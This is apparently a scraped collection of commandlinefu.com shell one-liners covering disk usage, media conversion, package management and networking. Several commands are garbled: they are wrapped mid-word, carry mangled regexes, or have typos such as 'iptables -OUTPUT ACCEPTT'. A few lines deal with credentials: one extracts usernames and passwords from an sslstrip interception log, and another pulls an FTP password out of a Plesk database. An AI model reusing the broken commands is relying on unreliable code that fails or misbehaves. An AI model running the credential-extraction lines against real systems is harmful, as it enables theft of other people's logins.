# Which files/dirs waste my disk space
du -h / | grep -w "[0-9]*G"

# edit a executable script
vie(){vi $(which $1)}

# Using json.tool from the shell to validate and pretty-print
echo '{"json":"obj"}' | python -mjson.tool

# Delete posts from MyBB Board as User
curl --cookie name=<cookie_value> --data-urlencode name=my_post_key=<post_key>\&
delete=1\&submit=Delete+Now\&action=deletepost\&pid=$c --user-agent Firefox\ 3.5
--url http://url/editpost.php?my_post_key=<post_key>\&delete=1\&submit=Delete+N
ow\&action=dele

# Export usernames and passwords from sslstrip log
grep -i -f password_tokens sslstrip.log | awk ' BEGIN { RS="&" } { print $1 }' |
grep -i -f tokens_file

# dd with progress bar and remaining time displayed
SIZE=`fdisk -s /dev/sdx`; dd if=/dev/sdx bs=1M | pv -s "$SIZE"k > hdd.img

# Copy your ssh public key to a server from a machine that doesn't have ssh-copy
-id
ssh <user>@<host> 'mkdir -m 700 ~/.ssh; echo ' $(< ~/.ssh/id_rsa.pub) ' >> ~/.ss
h/authorized_keys ; chmod 600 ~/.ssh/authorized_keys'

# Save all commands from commandlinefu.com sort by vote

# See whether your compiled Apache is prefork or worker MPM
/usr/sbin/httpd -l

```

```

# Get thread count for process on Solaris
ps -L -p <pid> | wc -l

# Display $PATH with one line per entry
echo -e ${PATH//:/\\n} | less

# Create a template for WebLogic 9 or 10
pack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar -template_
name="mydomain"

# Generate trigonometric/log data easily
seq 8 | awk '{print "e(" $0 ")"}' | bc -l

# to display all characters except second last character from each line of a fil
e
sed 's/^(.*)\(.\)$(\1\3/' fileName

# Write a bootable Linux .iso file directly to a USB-stick
wget -O/dev/sdb ftp://ftp.debian.org/debian/dists/stable/main/installer-amd64/cu
rrent/images/netboot/mini.iso

# Save the debconf configuration of an installed package
debconf-copydb configdb copydb --pattern=<PACKAGE> --config="Name: copydb" --con
fig="Driver: File" --config="Filename: ~/copydebconf.dat"

# Create a hard-to-guess password
dd if=/dev/urandom bs=16 count=1 2>/dev/null | base64

# List files recursively sorted by modified time
find /home/fizz -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort

# get events from google calendar for a given dates range
wget -q -O - 'URL/full?orderby=starttime&singleevents=true&start-min=2009-06-01&
start-max=2009-07-31' | perl -lane '@m=$_~m/<title type=.text.>(.*?)</g;@a=$_
~m/startTime=(2009.+?)T/g;shift @m;for ($i=0;$i<@m;$i++){ print $m[$i].", ".$a[$
i];}';

# Unpack and build a WebLogic 9 or 10 domain
unpack.sh -domain=[PATH]/domains/mydomain -template=[PATH]/mydomain.jar

# give record size of given record-structured file
fname=$1;f=$(ls -la $fname);fsz=$(echo $f|awk '{ print $5 }');nrrec=$(wc -l $fna
me|awk '{ print $1 }');recsz=$(expr $fsz / $nrrec);echo "$recsz"

# Import a debconf configuration (from a copydebconf.dat file)
debconf-copydb copydb configdb --config="Name: copydb" --config="Driver: File"
--config="Filename: ~/copydebconf.dat"

# Command line invocation of ImageMagick to resize a file
convert panorama_rainbow_2005.jpg -resize 40% panorama_rainbow_compress.jpg

# convert a .mp4 to a .avi
ffmpeg -i "/path/to/file.mp4" "/path/to/file.avi"

# Convert CSV files to TSV
sed 's/,/\t/g' report.csv > report.tsv

# Remove lines matching a pattern in files (backup any modified files)

```

```

pattern='regexp_pattern'; find . -type f -perm +220 ! -name '*.bak' -print0 | xargs -0 egrep -lZ $pattern | xargs -0 sed -i.bak -e "/$pattern/d"

# Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s " " | sed 's/^[ ]//g' | uniq | cut -d ' ' -f 2 | sed 's/www.//g' | sort | uniq

# See The MAN page for the last command
man !!

# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -d 0-9\[\],\*-.\?:\"(\)\#\;\<\>\@ | tr ' /_ ' '\n' | sort | uniq -c

# Enable color pattern match highlighting in grep(1)
export GREP_OPTIONS='--color=auto'

# Opens files containing search term in vim with search term highlighted
ack-open () { local x="$(ack -l $* | xargs)"; if [[ -n $x ]]; then eval vim -c "/$*[-1] $x"; else echo "No files found"; fi }

# Convert AVI to WMV
ffmpeg -i movie.avi -s 320x240 -b 1000k -vcodec wmv2 -ar 44100 -ab 56000 -ac 2 -y movie.wmv

# String Capitalization
echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}'

# This command will shorten any URL the user inputs. What makes this command different is that it utilizes 5 different services and gives you 5 different outputs.
curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(\http://\|tinyurl.com\/[a-z0-9][a-z0-9]*\).*\/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(\shortened-url".....

# List only those files that has all uppercase letters in their names (e.g. README)
ls | grep '^[A-Z0-9]*$'

# Persistent saving of iptables rules
cd /etc/network/if-up.d && iptables-save > firewall.conf && echo -e '#!/bin/sh -e\niptables-restore < $(dirname $0)/firewall.conf' > iptables && chmod a+x iptables

# Figure out if your kernel has an option enabled
zgrep CONFIG_MAGIC_SYSRQ /proc/config.gz

# External IP
curl www.whatismyip.org

# List RPM packages installed in current tree
find $PWD -exec rpm --query -f {} \; | sort -u | grep -v "not owned"

# traverses directories of $host and $share to created a unified place for rsync backups
for host in *; do { if [ -d $host ]; then { cd ${host}; for share in *; do { if [ -d $share ]; then { cd $share; rsync -av --delete rsyncuser@$host::$share . 2> ../$share.err 1>../$share.log; cd ..; }; fi; }; done; cd ..; }; fi; }; done;

```

```

# Currency converter using xe.com
xe(){ curl "http://www.xe.com/wap/2co/convert.cgi?Amount=$1&From=$2&To=$3" -A "Mozilla" -s | sed -n "s/.*>\(.*\) \$3<.*\/\1/p";}

# Extract specific lines from a text file using Stream Editor (sed)
head -n1 sample.txt | tail -n1

# Play all files in the directory using MPlayer
mplayer -playlist <(find "$PWD" -type f)

# List files in an RPM package
rpm --query --filesbypackage [packagename]

# Find which process is using a port on Solaris
ps -ef | grep user | awk '{print $2}' | while read pid; do echo $pid ; pfiles $pid | grep portnum; done

# Equivalent to ifconfig -a in HP-UX
netstat -in

# Generate an over-the-top UUID
printf "$(( echo "obase=16;$(echo $$$$(date +%s%N))"|bc; ip link show|sed -n '/eth /{N; p}'|grep -o -E '([[:xdigit:]]{1,2}):{5}([[:xdigit:]]{1,2})'|head -c 17 )|tr -d [[:space:]][[:punct:]] |sed 's/[[:xdigit:]]\{2\}/\x&/g')|shasum|head -c 32; echo

# Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
qdbus org.kde.krunner_lock /MainApplication quit; qdbus org.kde.plasma-overlay /MainApplication quit

# See how many more processes are allowed, awesome!
echo "$(( `ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l` ))"

# Generate list of words and their frequencies in a text file.
tr -cs A-Za-z '\n' | sort | uniq -ci

# get you public ip address
echo $(curl -s http://ipwhats.appspot.com/)

# Prints out, what the users name, notified in the gecost field, is
finger | grep $(whoami) | head -n1 | awk '{print $2 " " $3}'

# recursively change file name from uppercase to lowercase (or viceversa)
for i in $(find . -type f); do mv "$i" "$(echo $i|tr A-Z a-z)"; done

# To see the user's activity on the file system
sudo lsof -u someuser -a +D /etc

# Destroy file contents after encryption
gpg -e --default-recipient-self <SENSITIVE_FILE> && shred -zu "$_"

# Create a simple backup
tar pzcvf /result_path/result.tar.gz /target_path/target_folder

# AIX : onliner to reset failed login count for user
chsec -f /etc/security/lastlog -a "unsuccessful_login_count=0" -s 'aix user'

# Check whether laptop is running on battery or cable

```

```

cat /proc/acpi/battery/BAT0/state

# Convert ascii string to hex
echo "text" | od -t x1

# recursive base64 encoding -- Cipher for the Poor ?
str=password; for i in `seq 1 10`; do echo -e "$str\n"; str="$(base64 <<< $str)"
; done

# Convert PDFLaTeX PDF to Illustrator-usable EPS
gs -dNOCACHE -dNOPAUSE -dBATCH -dSAFER -sDEVICE=epswrite -dEPSCrop -sOutputFile=
out.eps in.pdf

# Paged, colored svn diff
svn diff $* | colordiff | less -r

# Show the files that you've modified in an SVN tree
svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$'

# add random color and external ip address to prompt (PS1)
IP=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F# '{
print $1}' | tail -n 1 ); R=3$((RANDOM%6 + 1)); PS1="\n\[\033[1;37m\]\u@\[\033[
1;$R"m\]\h^$IP:\[\033[1;37m\]\w\$ \[\033[0m\] "

# Reorder file with max 100 file per folder
find files/ -type f | while read line; do if [ $((i+%100)) -eq 0 ]; then mkdir
$((++folder)); fi; cp $line $folder/; done

# xpath function
xpath () { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\// >/d' }

# Install a library to a remote repository
mvn deploy:deploy-file -DgroupId=groupId -DartifactId=artifactId -Dversion=1.0 -
Dpackaging=jar -Dfile=pathtolib -DrepositoryId=repository -Durl=url

# get the list of temps for your hard-drives
hdtemp /dev/sda /dev/sdb /dev/hda /dev/hdb | gawk '{print $NF}' | perl -n -e '$
_ =~ s/(\d+)/print "$1 "/eg }{ print "\n"'

# Analyze awk fields
tr " " "\n" | nl

# List installed Perl modules
instmodsh

# Ramp the system volume up 5%
aumix -v +5

# print latest (top 10, top 3 or *) commandlinefu.com commands
wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '&l
t;x&gt;' -n -t -m rss/channel/item -o '&lt;y&gt;' -n -v description -o '&lt;/y&g
t;' -n -t -o '&lt;/x&gt;' | xmlstarlet sel -T -t -m x/y -v code -n

# Outputs a 10-digit random number
echo $RANDOM$RANDOM$RANDOM |cut -c3-12

# Check whether laptop is running on battery or cable
pmset -g batt # os x version

```

```

# Ignore subdirectories in subversion
find . -type d -not \( -name .svn -prune \) -exec svn propset svn:ignore '*' {}
\;

# GREP a PDF file.
grep -i '[^script$]' 1.txt

# Convert .ogg to .avi
mencoder -idx a.ogg -ovc lavc -oac mp3lame -o b.avi

# get a random command
find $(echo "$PATH" | tr ':' ' ') -name "*program*"

# Losslessly optimize JPEG files for file size
jpegtran -optimize -outfile temp.jpg <JPEG> && mv temp.jpg "$_"

# Store your files in a pastebin with curl
curl pasted.me -sNT <file>

# replace @ symbol with new line character, to get new line character press Ctrl
+v+enter --> ^M
%s/@/^v[M]/g

# Show a script or config file without comments
egrep -v "^[[:blank:]]*(\#|###|/\*| \*|\*/)" somefile

# View a random xkcd comic
wget -q http://dynamic.xkcd.com/comic/random/ -O- | sed -n '/<img src="http:\\\\i
mgs.xkcd.com\\/comics/{s/.*\.(http:.*\)" t.*\/\1;/p}' | awk '{system ("wget -q " $1
" -O- | display -title $(basename " $1") -write /tmp/$(basename " $1");}'

# Show the command line of a process that use a specific port (ubuntu)
port=8888;pid=$(lsof -Pan -i tcp -i udp | grep ":$port"|tr -s " " | cut -d" " -f
2); ps -Afe|grep "$pid"|grep --invert-match grep | sed "s/^\([^\ ]*\ [^\ ]*\)\{7\}\(
*\)\$/\2/g"

# Status of Snow Armageddon in Washington DC Metro from the command line...
/usr/bin/links --source http://weather.noaa.gov/pub/data/forecasts/zone/md/mdz00
9.txt

# List a phone's filesystem with bitpim
bitpim -p $PHONE_PORT ls

# shutdown pc in a 4 hours
shutdown -h $((60 * 4))

# Send current job to the background
^Z then bg

# ls to show hidden file, but not . or ..
ls -A

# Recursive grep of all c++ source under the current directory
grep -R --include=*.cpp --include=*.h --exclude=*.inl.h "string" .

# Commands to setup my new harddrive! #4 Step! Try to recover as much as possibl
e
ddrescue -r 1 /dev/old_disk /dev/new_disk rescued.log

```

```

# Download YouTube music playlist and convert it to mp3 files
yt-pl2mp3() {umph -m 50 $1 | cclive -f mp4_720p; IFS=$(echo -en "\n\b"); for track in $(ls | grep mp4 | awk '{print $0}' | sed -e 's/\.mp4//'); do (ffmpeg -i $track.mp4 -vn -ar 44100 -ac 2 -ab 320 -f mp3 $track.mp3); done; rm -f *.mp4}

# Today's elimination of a world threat
rm -rf /bin/laden

# mount starting sector of the partition we want to mount
mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path

# Play flash videos in VLC
find -L /proc/ps aux | grep [f]lash | awk '{print $2}' | xargs file -L | grep Video | awk '{sub(/:/, ""); print $1}' | xargs vlc

# Synchronize date and time with a server over ssh
date `ssh user@server date "+%y%m%d%H%M.%S"`

# get eth0 ip address
ip -4 addr show eth0 | awk ' /inet/ {print $2}'

# Download all data from Google Ngram Viewer
wget -qO - http://ngrams.googlelabs.com/datasets | grep -E href='(.\.zip)' | sed -r "s/.*href='(.\.zip)'.*/\1/" | uniq | while read line; do `wget $line`; done

# #3 Step! FIrst Pass quickly!
ddrescue -n /dev/old_disk /dev/new_disk rescued.log

# Animated Desktop: electricssheep
nice -n 5 electricssheep -window-id `xwininfo -root|head -n 2|grep xwininfo|cut -c 22-26`

# split a string (2)
read VAR1 VAR2 VAR3 <<< aa bb cc; echo $VAR2

# Play a random .avi file from a media tree
unset files i; set -f; O=$IFS; while IFS= read -r -d '$\0' files[i++]; do ;; done <<(find . -name '*.avi' -print0) && IFS=$O; set +f && echo "Running: mplayer \"${files[ $(( $RANDOM % ${#files[@]} ) ) ]}\""

# Toggle cdrom device
eject -T [cdrom_device]

# regex to match an ip
echo 254.003.032.3 | grep -P '^(25[0-4]|2[0-4]\d|[01]?\d?[1-9])\.{3}(25[0-4]|2[0-4]\d|[01]?\d?[1-9])$'

# Find out my Linux distribution name and version
cat /proc/version

# archive all files containing local changes (svn)
svn st -q | cut -c 2- | tr -d ' ' | xargs tar -czvf ../backup.tgz

# Generate Random Passwords
openssl rand 6 -base64

# Flatten a RGBA image onto a white background.
composite -compose Over rgba.png -tile xc:white -geometry `identify rgba.png | sed 's/[^\ ]* [^\ ]* \([^\ ]*\) .*/\1/g` rgb-white.png

```



```

# get IPs with a DHCP lease
egrep "^lease" /var/lib/dhcp/db/dhcpd.leases |awk '{ print $2 }'

# Step#1 Compare the disk spaces first!
blockdev --getsize64 /dev/sd[ab]

# create file
FILE=$(tempfile 2>/dev/null || echo .$RANDOM)

# Multiple Perl Search/Replace from a file
cat table-mv.txt | perl -pe 's{([^\;]+);([^\;]+)}{tbl$1/tbl$2}' | perl -pe 's{(\S+
)}{perl -i -pe #s/$1/g# xxx.sql}' | tr "#" "\'" | bash

# Joke : prints line numbers in a longest way
perl -e 'use strict; use warnings; my $c; my $file = $ARGV[0]; open my $handle,
"<", $file or die "$0: $file: !\n"; while (<$handle) { print $c++, " " x 5, $
; } close($handle);' <FILE>

# Convert all your mp3 to ogg
find . -iname '*.mp3' | while read song; do mpg321 ${song} -w - | oggenc -q 9 -o
${song%.mp3}.ogg -; done

# Collect output from a segfaulting program and keep the script from dying
(trap 'true' ERR; exec <SEGFAULT_PRONE_PROGRAM>)

# Fixing maven POM messed up by a broken release.
find . -iname pom.xml -type f -exec bash -c "cat {} | sed s/1\.0\.46\-\SNAPSHOT/1
\.0\.48\-\SNAPSHOT/g > {}.tmp " \; -exec mv {}.tmp {} \;

# Reset the time stamps on a file
touch -acm yyyymmddhhMM.ss [file]

# Print multiline text starting and ending at specific regexps with perl
man fetchmail | perl -ne 'undef $/; print $1 if m/^\.*?(-k \|| --keep.*)-K \|| --no
keep.*$/smg'

# See how much space is used by a file or directory
du -hs /path/to/target

# Use the last command's output as input to a command without piping and bind to
it to a key sequence in bash.
bind '"\C-h": "\fc\ \-s\ "'

# get you public ip address
curl http://ifconfig.me/ip

# archlinux: updates repository mirrors according to most up to date mirrors, th
en speed
sudo reflector -l 5 -r -o /etc/pacman.d/mirrorlist

# Pulls FTP password out of Plesk database.
mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password
from accounts INNER JOIN sys_users ON accounts.id=sys_users.account_id WHERE
sys_users.login='xxxx';"

# snapshot partition for consistent backups with minimal downtime
mksnap_ffs /var /var/.snap/snap_var_`date +%Y-%m-%d` ; mdconfig -a -t vnode -
f /var/.snap/snap_var_`date +%Y-%m-%d` -u 1; mount -r /dev/md1 /mnt

```

```

# Print a row of characters across the terminal
println() {echo -n -e "\e[038;05;${2:-255}m";printf "%$(tput cols)s"|sed "s/ /${1:=-}/g"}

# archlinux: shows list of files installed by a package
pacman -Ql gvim

# Create a QR code image in MECARD format
getent passwd $(whoami) | echo "$(perl -ne '/^([\^:]+):[\^:]+:[\^:]+:[\^:]+([\^ ]+)?([\^,]+)?,([\^,]*),([\^,]*),([\^:,]*),?([\^:,]*)/' and printf "MECARD:N:$3,$2;ADR:$5;TEL:$4;TEL:$6;EMAIL:$1@'"')$HOSTNAME;;" | qrencode -o myqr.png

# Generate an XKCD #936 style 4 word passphrase (fast) w/o apostrophes
echo $(cat /usr/share/dict/words |grep -v "'"|shuf -n4)

# Convert Windows/DOS Text Files to Unix
dos2unix dostxt unixtxt

# Substitution cipher
echo "Decode this"| tr [a-zA-Z] $(echo {a..z} {A..Z}|grep -o .|sort -R|tr -d "\n")

# Replace spaces in a filename with hyphens
for f in * ; do mv "$f" $( echo $f | tr ' ' '-' ) ; done

# archlinux: shows which package created a given file
pacman -Qo /etc/yaourtrc

# format txt as table not joining empty columns adding header with column number
s
cat file.csv | perl -pe 'if($. == 1) {@h = split(/;/); $i = 1 ; map { $_ = $i; $i++ } @h; print join(" ;", @h) , "\n"} ; s/(\^|;)/$1 ;/g' | column -ts\; | less -S

# package most recent files in project
find ~/project -mtime -1 -type f -print | tar jcvf myfiles.tar.bz2 -T -

# Disable graphical login on OpenSolaris
svcadm disable gdm

# send incoming audio to a Icecast server (giss.tv)
rec -c 2 -r 44100 -s -t wav - | oggenc - | tee streamdump.ogg | oggfwfwd giss.tv 8000 password /mountpoint.ogg

# Center text in console with simple pipe like
center(){ l="$(cat -)"; s=$(echo -e "$l"| wc -L); echo "$l" | while read l;do j=$((s-#{#l})/2);echo "$(while ((--j>0)); do printf " ";done;)$l";done;; ls --color=none / | center

# archlinux: shows list of packages that are no longer needed
pacman -Qdt

# Convert a .wav file to .sln file
sox is_that_correct.wav -t raw -r 8000 -s -w -c 1 is_that_correct.sln

# Disable all iptables rules without disconnecting yourself
iptables -F && iptables -X && iptables -P INPUT ACCEPT && iptables -OUTPUT ACCEPT
T

```

```

# Get a summary of network devices in the system
for i in /sys/class/net/*; do e=`basename $i`; echo "# $e"; sudo ethtool $e | gr
ep -E "Link|Speed" ; done

# for loop with leading zeros
for s in `seq -f %02.0f 5 15`; do echo $s; done

# Extract all urls from the last firefox sessionstore.js file used.
grep -oP '"url": "\K[^\"]+' $(ls -t ~/.mozilla/firefox/*/sessionstore.js | sed q)

# path manipulation in bash
rp() { local p; eval p=":\${$1}:"; export $1=${p//:$2/:}; }; ap() { rp "$1" "$2";
eval export $1=\${$1$2}; }; pp() { rp "$1" "$2"; eval export $1=$2:\${$1}; }

# Instant editing screenshot with Gimp
sleep 4; xwd > /tmp/_xwd ; gimp /tmp/_xwd

# List contents of jar
unzip -l file.jar

# archlinux: clears package cache of uninstalled packages
sudo pacman -Sc

# Multi-thread any command
xargs -P 3 -n 1 <COMMAND> < <FILE_LIST>

# Mark manually deleted files as deleted in svn
svn status|grep -iR '^!'|sed 's/!/ /g'|xargs -i svn rm '{}

# JVM Garbage Collector Stats
jstat -gc [jvmpid]

# Adds characters at the beginning of the name of a file
rename 's/.*/[it]${&}/' *.pdf

# Convert Raw pictures to jpeg
for img in $( ls *.CR2 ); do convert $img $img.jpg; done

# for loop with leading zero in bash 3
printf "%02u " {3..20}; echo

# Recursively search a directory tree for all .php .inc .html .htm .css .js file
s for a certain string
find -type f -regex ".*\.(js|php|inc|htm[l]?|css|)$" -exec grep -il 'search
string' '{}' +

# Convert DOS newlines (CR/LF) to Unix format
dos2unix <file>

# archlinux: clear the package cache of all packages
sudo pacman -Scc

# fast find (for textfiles; uses sh, less and sed)
ff() { local a=$1; local b=$2; local c=${a}/*${b}*; case $# in [01])echo usage: fl
drive string [match-no\s\]);; 2)printf "%s\n" $c|less -SN;; 3)less $(printf "%s
\n" $c|sed -n "$3p");; esac; }

# Changes a User Password via command line without prompt
echo -e "new_password\nnew_password" | (passwd --stdin $USER)

```

```

# warped and shagadelic webcam view with gstreamer
gst-launch-0.10 v4l2src ! ffmpegcolorspace ! warptv ! ffmpegcolorspace ! autovid
eosink

# Load "missing" man pages for your stuff.
addman () { export MANPATH=`find $1 -xdev -type d -name man -printf %p:`${MANPAT
H}); }

# archlinux: remove a package completely from the system.
sudo pacman -Rns packagename

# Allows incoming traffic from specific IP address to port 80
sudo ufw allow proto tcp from 1.2.3.4 to any port 80

# Edit the /etc/sudoers config file the right way.
visudo

# Get max number of arguments
getconf ARG_MAX

# Optimal way of deleting huge numbers of files
find /path/to/dir/ -type f -exec rm {} +

# function for copy files with progress bar (using pv - pipe viewer)
cp_p() { if [ `echo "$2" | grep ".*/$" ` ]; then pv "$1" > "$2""$1"; else pv "$1
" > "$2"/"$1"; fi; }

# find files ending in *.log that contain both 'foo' and 'error'
grep -l foo $(grep -l error *.log)

# Get Informed by your box that you are awesome ;)
while $i;do `notify-send -t 200 "You are awesome :)";sleep 60; done;

# count processes with status
ps axu | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {pr
int "Total status D: "count}'

# Add spacer to left side of Dock
defaults write com.apple.dock persistent-apps -array-add '{tile-data={}; tile-ty
pe="spacer-tile";}'; killall Dock

# Uptime in minute
uptime | awk -F ', ' '{print $1} ' | awk ' {print $3} ' | awk -F ':' ' {hrs=$1;
min=$2; print hrs*60 + min} '

# free swap
free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2

# Show only existing executable dirs in PATH using only builtin bash commands
for p in ${PATH//:/ }; do [[ -d $p && -x $p ]] && echo $p; done

# Trim png files in a folder
for file in `ls *.png`; do convert -trim $file $file; done

# delete PBS jobs based on strings from qstat output
qstat | awk '$6 ~ "STRING" {cmd="qdel " $1; system(cmd); close(cmd)}'

# How many lines in your c project?

```

```

find . -type f -name *.*[ch] -exec wc -l {} \;

# all out
ps -fu userid | awk '/userid/{print $2}' | xargs kill

# Add spacer to right side of Dock
defaults write com.apple.dock persistent-others -array-add '{tile-data={}; tile-type="spacer-tile";}'; killall Dock

# Laminate files line by line
lam -f 1.4 myfile

# Untar file with absolute pathname to relative location
pax -r -s ',^/,,' -f file.tar

# save a manpage to plaintext file
man perlcheat | col -b > perlcheat.txt

# Command to resolve name from Ip address, passing only the last field after seq
(C Class for example)
seq 4|xargs -n1 -i bash -c "echo -n 164.85.216.{ } - ; nslookup 164.85.216.{ } |gr
ep name"|tr -s ' ' '|awk '{print $1" - "$5}'|sed 's/.$//''

# Trim png files in a folder
for file in *.png; do mogrify -trim "$file"; done

# Open Finder from the current Terminal location
open -a Finder <path>

# Get your external IP address
curl http://my-ip.cc/host.xml

# AmazonMP3 Daily Deals
wget -qO- "http://www.amazon.com/b?ie=UTF8&node=163856011" | grep Daily | sed -e
's/<[^>]*>/g' -e 's/^ *//' -e 's/\&[^;]*;/ /'

# psg (ps grep) function if you don't have pgrep or don't know how to use it
psg() { if [ -z "$2" ]; then psargs="aux"; greparg="$1"; else psargs="$1"; grep
arg="$2"; fi; ps $psargs | grep -i "$(echo $greparg | sed -e 's/^\(.\)/[\1]/')\|
^$(ps $psargs | head -1)" ; }

# GZip all files in a directory separately
for file in *.foo; do gzip "$file"; done

# Start delivery of mail queued on a secondary mail server.
fetchmail -p etrn --fetchdomains yourdomain.example.org secondary-server.example
.org

# find files that contain foo, but not bar
grep -l foo *cl*.log | xargs grep -lL bar

# Terminal window focus on mouseover (mimicking X11 behavior) in Mac OS X
defaults write com.apple.terminal FocusFollowsMouse -string YES

# Get your external IP address
curl http://my-ip.cc/host.json

# Save a file you edited in vim without the needed permissions
command W :execute ':silent w !sudo tee % > /dev/null' | :edit!

```

```

# Do a quick check on the hardware specifications on a set of Linux (RedHat) boxes
clear; for i in `cat thehosts` ; do ssh $i "cat uname -a ; /etc/redhat-release;
cat /proc/cpuinfo | tail -n 25 | egrep '^processor|^model name' "; free ; df -h
;done

# list all hd partitions
fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g"

# Watch a TiVo File On Your Computer
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest http://$tivo/download/$filename
| tivodecode -m $MAK -- - | mplayer - -cache-min 50 -cache 65536

# get disk usage sum for files of type
find . -name '*.xml' -type f -print | xargs du -ch

# Specify a file name that starts with hyphen, e.g. "-i"
rm -- -i

# List svn commits by user for a date range
svn log -r{2011-08-01}:HEAD|awk '$14 ~/line/ {print $3}'|sort|uniq -c

# search installed files of package, that doesn't remember his name well. On rpm
systems
rpm -qa | grep PACKAGENAME | xargs rpm -q --filesbypkg

# Generate secure password to user with chpasswd
echo "encryptedpassword"|openssl passwd -1 -stdin

# Get the IP of the host your coming from when logged in remotely
echo $SSH_CLIENT | cut -f 1 -d ' '

# Virtualbox: setup hardware
VBoxManage modifyvm "vm-name" --memory 256 --acpi on --ioapic off --pae on --hwv
irtex on --nestedpaging on

# Make a pipe organ sound using XMMS and Python
xmms `python -c "print '\tone:\/\' + \";\'".join([str(22*(2**x)) for x in range(9
)])"`

# Extract the emoticons regex from a running skype process
S=`pidof skype`;grep heap /proc/$S/maps|cut -f1 -d' '|awk -F- '{print "0x" $1 "
0x" $2}'|xargs echo "du me t ">l;gdb -batch -p $S -x l>/dev/null 2>&1;strings t|
grep \(smirk|head -n1

# Will email user@example.com when all Rsync processes have finished.
$(while [ ! -z "$(pgrep rsync)" ]; do echo; done; echo "rsync done" | mailx user
@example.com) > /dev/null &

# Function to split a string into an array
Split() { SENT=${*} ; sentarry=( ${SENT} ) ; while [[ ${#sentarry[@]} -gt 0 ]] ;
do printf "%s\n" "${sentarry[0]}" ; sentarry=( ${sentarry[@]:1} ) ; done ; }

# If you have lots of svn working copies in one dir and want to see in which rep
ositories they are stored, this will do the trick.
(for i in `find . -maxdepth 2 -name .svn | sed 's/.svn$//` ; do echo $i; svn inf
o $i; done ) | egrep '^\.\/|^URL'

# Greets the user appropriately

```

```

echo Good $(i=`date | cut -d: -f1 | cut -d' ' -f4-4` ; if [ $i -lt 12 ] ; then e
cho morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ;
fi ; fi)

# Synchronize date and time with a server over ssh
date +%Y%m%d%T -s "`ssh user@server 'date +%Y%m%d %T'"`"

# Remove all unused shared memory segments for current user
ipcs -ma | awk '/^m / { if ($9 == 0) { print $2 } }' | xargs -n 1 ipcrm -m

# Unrar all files in a directory
for f in *.rar;do unrar e $?f?;done

# checks if host /service is up on a host that doesn't respond to ping
while true; do clear; nmap ${hostname} -PN -p ${hostport}; sleep 5; done

# Add the time to BASH prompt
export PS1="(\@) $PS1"

# Make a quick network capture with tcpdump to a file - filename based on tcpdum
p arguments
tcpdump -w "$(sed 's/-//gi; s/ /_/gi'<<<"-vvv -s0 -ieth1 -c10 icmp").pcap"

# get useful statistics from tcpdump (sort by ip)
tcpdump -nr capture.file | awk '{print }' | grep -oE '[0-9]{1,}\.[0-9]{1,}\.[0-9]{
1,}\.[0-9]{1,}' | sort | uniq -c | sort -n

# View the list of files and directories in an archive with less.
less file.tar.gz

# colored tail
tail -f FILE | grep --color=always KEYWORD

# Get the date field from syslog for a certain set of events
grep xxxx messages | cut -d ' ' -f 1,2,3

# List contact information for Domain list
whois -H $(cat ./list_of_domains) | awk 'BEGIN{RS=""}/Registrant/,/Registration
Service Provider:/ {print} END{print "-----\n"}'

# Watch RX/TX rate of an interface in kb/s
while ;; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' '
-f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3
)/1024, ($2-$4)/1024)}'; sleep 1; done

# Create a P12 file, using OpenSSL
openssl pkcs12 -export -in /dir/CERTIFICATE.pem -inkey /dir/KEY.pem -certfile /d
ir/CA-cert.pem -name "certName" -out /dir/certName.p12

# An easter egg built into python to give you the Zen of Python
echo "import this" | python

# floating point operations in shell scripts
echo "5 k 3 5 / p" | dc

# Proxy all web traffic via ssh
Putty -d 8080 [server]

# geoup information

```

```

geo(){ curl -s "http://www.geody.com/geoip.php?ip=$(dig +short $1)" | sed '/^IP:/
!d;s/<[^>][^>]*>//g'; }

# Loop over files found using 'find' (works with filenames that contain spaces)
find -name 'foo*' | while read i; do echo "$i"; done

# View All Processes Cmdlines and Environments
cd /proc&&ps a -opid=xargs -I+ sh -c '[[ $PPID -ne + ]]&&echo -e "\n[+]"&&tr -s
"\000" " "<+/cmdline&&echo&&tr -s "\000\033" "\nE"<+/environ|sort'

# copy selected folder found recursively under src retaining the structure
find <src-path-to-search> -name "<folder-name>" | xargs -i cp -avfr --parent {}
/<dest-path-to-copy>

# Calculate 1**2 + 2**2 + 3**2 + ...
N=10; echo "($N*($N+1)*(2*$N+1))/6" | bc

# Save a file you edited in vim without the needed permissions
:%!sudo tee %

# Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
killall -s 9 krunner_lock

# List all available commands
in bash hit "tab" twice and answer y

# rcsdiff: Output the differences side-by-side
rcsdiff -y myfile

# Updates file in all the zips
ls *.zip|awk '{a="zip -fo "$1" FILENAME"; system(a);}'

# Get Google PageRank
curl pagerank.bz/yourdomain.com

# Encode a file to MPEG4 format
HandBrakeCLI -i video.avi -o video.mp4

# Ignore a specific subdir, instead of all subdirs, with ack-grep
ack -a -G '^(?!.*bar/data.*).*$' pattern

# Purge configuration files of removed packages on debian based systems
dpkg -l | grep ^rc | cut -d' ' -f3 | xargs dpkg -P

# Console clock
while sleep 1; do echo -n "\r`date`"; done

